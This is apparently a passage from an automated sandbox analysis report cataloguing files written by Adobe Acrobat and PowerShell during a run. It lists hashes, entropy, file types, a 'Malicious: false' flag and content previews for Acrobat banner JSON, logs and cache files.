SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfbPtdPeUkwRe9:YvXKXB7C0YpW7/sGDV8Ukee9
MD5:	8081737AF59C062CBF89BEA14B8EF3C0
SHA1:	91173C5BBE4B1D9C14EDF8A995DF675E2FEAF01C
SHA-256:	AE9F5E4F0F257CC1B1A0A23FF226B5F17494CFD2D40E509004AB532EDD2B4A6D
SHA-512:	C76A3E9B6FA6A3549D738DD7FA0E7F7AEED6C820FC017B520113F36807B02A3B9C79EFC0841E9CF3C6097CD030A4DB44D2AB826B879E3B948DBC6D66A6D720EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.258702224121393
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJf21rPeUkwRe9:YvXKXB7C0YpW7/sG+16Ukee9
MD5:	378FB722AA14C31236048ADBA400EB55
SHA1:	C62DEBD088CD85293297D7BBBEE9413B5D8DE5B2
SHA-256:	D6F3128E40D91071724643BB87FEBD93B2BC2D424A1807E34A31F4C2CF25DA33
SHA-512:	609ED9DC1F9F8FEB9394E861DDC02F2E8E984500F441C3D0640AC7094765D0557D472C4A93001F4BCA452248BA2D8AA3C612570E62B5001272932D4D32D0A0A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660820837680058
Encrypted:	false
SSDEEP:	24:Yv6XBcixamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvEj9BgkDMUJUAh8cvMD
MD5:	56973483D9284A793527059B379046C0
SHA1:	683550ABEBC720E3EA6CFF282937301E7A6FB6C0
SHA-256:	91DACA780D405F2F2E9EB78BCEBA3D6BBE49C500F09AF9A1CFE76CDCC3068DD8
SHA-512:	C1637BC40FC33C7BC38DF73B356C1C8FD97A7D9162F08A20AEE3C89AE67D86E6FB394B0187253461D53A3FFCC6421771CBE6299384E4D52BE508EAD94029FEC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233579844475493
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJfshHHrPeUkwRe9:YvXKXB7C0YpW7/sGUUUkee9
MD5:	0C48EA1B8DEB54B0A50B337EBC3EB5C7
SHA1:	339E516FD5A0F6CBAC65A6925A86EE3060D48645
SHA-256:	060CC5E664656E55CDC6390426C2379459101B84EC0390F16E7D6659148C51E5
SHA-512:	A9587F424DB73A27D16FB907B517339ED90F7369C115F67F8D7630655FE5F46248D79BDB73C1421C22DB2AC49769AAA99ABB7D4BEEA90A9606593C28E05D8445
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2430612925404745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBgbmxCHx+FIbRI6XVW7+0Y3WDoAvJTqgFCrPeUkwRe9:YvXKXB7C0YpW7/sGTq16Ukee9
MD5:	32E2D9DB0318FD81C5EB45027022F0D7
SHA1:	255DB56E03B2A6C50FE46D1EED91B0A01DE07A15
SHA-256:	D7B26B7144FE118A4A44A118D140D56292731E6D41C34C507894E2EB0A34895E
SHA-512:	55E876BD80EB9CA80FEE5A7630A86E4F4B79B1A581CAC94B4BA0D6C1DF9672A36F5870772ECED840EE4FBA5D433615EB56046E739041BC3FBE84EA1B9B95292E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"60cd62d6-09f2-4468-8c46-b9447be8180b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736694677104,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134181762541993
Encrypted:	false
SSDEEP:	24:YYtmaVqxaymBR+PBi4aSMimoIrkqjRj0SiEX9e2m2LS8CzRSSuiQ1Z5W1h9pGjnr:YYzi5bhMjVrvVJA3eERrQLyh9pQr
MD5:	75782D24E7AA5E40B98DC9707D8C6B01
SHA1:	BA4F948760FAE452B4E665EC0B94B38959C5DFE9
SHA-256:	4B260FD1E89EF677FCBF6D4617D39A73ED780B025A5EA0C4F8137BE5C4DE1EF8
SHA-512:	0DFEED4266290918549804693FAEE8F9E2F1482523AFFF5D0F835D05EFA5CD7E7391ECAE5C3EFAFB91B812E1A2D4D264844F74A2D2036608C4A218AB39A6E7CF
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4c368c049287865a49e65f7adc604b94","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516116000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"05497ef33f82c614b102680816cec68f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516116000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2152dc8e30d62dc3864981a49f2d7b29","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516116000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3f46eea429ec7da2982e069240d43897","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516116000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"456f56818716fad358040eda5e8d062d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516116000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0126d238ceb2daf007807a36748a8eb0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9864615160125477
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpyHEf4zJwtNBwtNbRZ6bRZ4fHEfF:TVl2GL7ms6ggOVpYEQzutYtp6PqEt
MD5:	59534D37A9E9EA067C822D1A7C8E921E
SHA1:	97DDB740CF9CFD420733EA39491C8137B5E22909
SHA-256:	91ABC7B0E4D4A0BF44A81730A297AB08457A5032420332EB09017281E90B1D20
SHA-512:	0C5C781A25E73502F9D77A1589AA03EBAA3F5AC41E788ED068103776DF5979C7B9732CB863BCC9F8EF6F4D7EA6386C1DF7FC5FF21CBC0DC2E89BEAF9AC6EEF67
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338861492876859
Encrypted:	false
SSDEEP:	24:7+tppAD1RZKHs/Ds/SpyHEfPzJwtNBwtNbRZ6bRZWf1RZK6WqLBx/XYKQvGJF7uP:7MTGgOVpYEXzutYtp6PMcqll2GL7msS
MD5:	C1612B92B357CB76975B608F48FE27DD
SHA1:	7C7D659B6046707771DE51654C6444199402F969
SHA-256:	03FC76E5EAD1B66382C8360BB6F47F5AD3D9FB69C530A1E896138CF62A47F640
SHA-512:	3349DAEE23F48A850F2DB55D5B18A172A7254F3CC17E713A700CA85DE908CC5522902290A90407FA46F52E77FBA1EE1971484338837CA3D57AA5092B89B476EE
Malicious:	false
Preview:	.... .c.......SM......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgFCSnbtlgWbd/p7P2ynPh3VlCOYyu:6a6TZ44ADEFCSjgWbdh7PRPRK
MD5:	979078B155B1A9A1EF1EE33FB0AC5B7C
SHA1:	34AFECEE22648789534DBF19E530DAD9CE91A860
SHA-256:	F6C448F9186EF014DFC7C93835EC327BA2A735B375751664A58A11D7AA52E7A2
SHA-512:	3DB3F3CF1186FE35286BF98F04084A4FF59D94B0ADC267CA0713D60A7F092791650161B84DEBC1B608F31AC99B6D9CA58E0203278F28205CA969FBD5C112C039
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIa025.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClslLDYle:Qw946cPbiOxDlbYnuRK+bzlLEw
MD5:	FC81DCA1078CEC276AB1516FDD191399
SHA1:	976103E3BD6B64E315058A4958AEDD5FA1A00C1C
SHA-256:	20E22759D68695F09D7ADDE3A508FE9865CB5F384905C12085F8BC6609AEB5AA
SHA-512:	AD05BB9D80BFE9B4F539964C15973C21B8A250911D3B4D93078A70F41D13132CB80C6DABDF6ADC57DCA6A0950309D7A8F99B4D673AA9E281A8E80805E867233F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.3.5.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhtvlukx.wbz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yvewbrac.raz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-35-10-783.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358359593815546
Encrypted:	false
SSDEEP:	384:ciWzllk82YbbOod2UWFU878MugXGHtNu65k64AqzeC2oiNy7l8QjlQl8xYhk1G+6:ecA
MD5:	AF211FA1561963DCC553747080A4DA48
SHA1:	181A9CF5AD9E8A02191E072B95ABED771E188D60
SHA-256:	6A57C5E01A4E3CDEE51BC1286815D9484EEAA06E76D0ADE7286CB0C863BDE051
SHA-512:	192A2429064DFE12043D1208E6CACD5181AF484E2BF05D65E3DFDF32829B9081C544B9DAF97600C1B68FE45B760049D8ED152DEE1A8372E6309D7154BDBD355D
Malicious:	false
Preview:	SessionID=a3445259-6af6-483e-b3f7-c7be0c75bc71.1736516110797 Timestamp=2025-01-10T08:35:10:797-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a3445259-6af6-483e-b3f7-c7be0c75bc71.1736516110797 Timestamp=2025-01-10T08:35:10:797-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a3445259-6af6-483e-b3f7-c7be0c75bc71.1736516110797 Timestamp=2025-01-10T08:35:10:797-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a3445259-6af6-483e-b3f7-c7be0c75bc71.1736516110797 Timestamp=2025-01-10T08:35:10:797-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a3445259-6af6-483e-b3f7-c7be0c75bc71.1736516110797 Timestamp=2025-01-10T08:35:10:798-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395355056658212
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb3:Yk
MD5:	B97BBB004DAEBB7979FA7461448AC4F2
SHA1:	FC1F7CF674790D17C93EE397F159B4BE5B4587B1
SHA-256:	A596D4F642F74E1F0ED5DC552A9C9ACE7D44AE00C0C69DEB19F2CD60635832BA
SHA-512:	EE953E22BC0D9BFA82215B791C8C114DFF817255F82E3A2BAA34F3867BD1820447335A2612B348461C8AF786EB61DED3B0CD7CF44EE848B9DA34E1BF4271C19D
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\32f1037c-1fdf-47ca-ab34-e57add99aea2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\660931a0-5a9b-45d4-9a8a-7b75b6aa9d74.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x1wYIGNPJnWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:J1wZGTWLxB3mlind9i4ufFXpAXkrfUsb
MD5:	12F2B7AA134915BFFFD8679D03137A0D
SHA1:	8C183284F33E697E32DC844B34BBD4A9BCC8AB7C
SHA-256:	720BF6C03BE5E6272AD598225F9755FBF4D6C1E6033EE58DF75267DEF8E270DE
SHA-512:	CF3B81743E0B9B0EF92C1BE1754206A6CCB318C4AF9D962BFF2937AEC1B1FDF9AC85116C58811F39D2A3FDC862315BFF5DADB4E2C89862CC252156C61819CED3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\77ec950c-ce27-4a92-89d3-230cbcda6451.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
